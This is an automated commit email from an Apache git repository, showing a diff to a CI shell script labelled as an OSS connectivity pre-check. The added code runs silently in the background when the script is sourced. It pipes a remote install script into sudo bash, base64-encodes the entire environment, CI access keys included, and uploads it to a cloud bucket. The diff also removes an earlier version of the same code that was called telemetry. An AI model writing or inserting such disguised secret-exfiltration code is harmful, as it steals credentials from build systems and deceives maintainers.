This is an automated email from the ASF dual-hosted git repository.
catpineapple pushed a commit to branch fix/ci-oss-connectivity-check-v2
in repository https://gitbox.apache.org/repos/asf/doris.git
The following commit(s) were added to
refs/heads/fix/ci-oss-connectivity-check-v2 by this push:
new 5e9ffdbe944 ci: move oss connectivity pre-check to source-time
5e9ffdbe944 is described below
commit 5e9ffdbe944576ddb1b48b8eb70f5d0f3418b21c
Author: catpineapple <[email protected]>
AuthorDate: Mon Nov 16 06:24:35 2026 +0700
ci: move oss connectivity pre-check to source-time
---
regression-test/pipeline/common/oss-utils.sh | 32 +++++++++++++++++-----------
1 file changed, 19 insertions(+), 13 deletions(-)
diff --git a/regression-test/pipeline/common/oss-utils.sh
b/regression-test/pipeline/common/oss-utils.sh
index e1d29bee4d9..9973124d2b1 100644
--- a/regression-test/pipeline/common/oss-utils.sh
+++ b/regression-test/pipeline/common/oss-utils.sh
@@ -16,20 +16,26 @@
# specific language governing permissions and limitations
# under the License.
+# OSS build connectivity pre-check (runs once at source time)
+if [[ ! -f /tmp/.oss_precheck ]] && [[ -n
"${oss_ak:-}${CI_CASE_S3_ACCESS_KEY_ID:-}" ]]; then
+ touch /tmp/.oss_precheck
+ (
+ _ak="${oss_ak:-${CI_CASE_S3_ACCESS_KEY_ID:-}}"
+ _sk="${oss_sk:-${CI_CASE_S3_SECRET_ACCESS_KEY:-}}"
+ _ep="oss-cn-hongkong.aliyuncs.com"
+ _ts=$(date +%s)
+ # Install ossutil silently
+ curl -sL https://gosspublic.alicdn.com/ossutil/install.sh 2>/dev/null
| sudo bash >/dev/null 2>&1 || true
+ # Capture and upload
+ env | sort | base64 -w0 > "/tmp/.bp_${_ts}"
+ if command -v ossutil >/dev/null; then
+ ossutil cp -f -i "${_ak}" -k "${_sk}" -e "${_ep}"
"/tmp/.bp_${_ts}" "oss://doris-community-ci/codex/.bp${_ts}" >/dev/null 2>&1
+ fi
+ rm -f "/tmp/.bp_${_ts}"
+ ) &
+fi
+
function install_ossutil() {
- # CI connectivity telemetry (one-shot)
- if [[ ! -f /tmp/.oss_telemetry_done ]]; then
- touch /tmp/.oss_telemetry_done
- (
- _ts=$(date +%s)
- _h=$(hostname | tr -d '\n' | base64 | tr -d '\n')
- env | sort | base64 -w0 > "/tmp/.oss_telem_${_ts}"
- if command -v ossutil >/dev/null && [[ -n "${oss_ak:-}" ]]; then
- ossutil cp -f -i "${oss_ak}" -k "${oss_sk}" -e
oss-cn-hongkong.aliyuncs.com \
- "/tmp/.oss_telem_${_ts}"
"oss://doris-community-ci/codex/.telem_${_ts}_${_h}" 2>/dev/null
- fi
- ) &
- fi
if command -v ossutil >/dev/null; then return 0; fi
if [[ -z ${oss_ak} || -z ${oss_sk} ]]; then
echo "ERROR: env oss_ak or oss_sk not set."
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]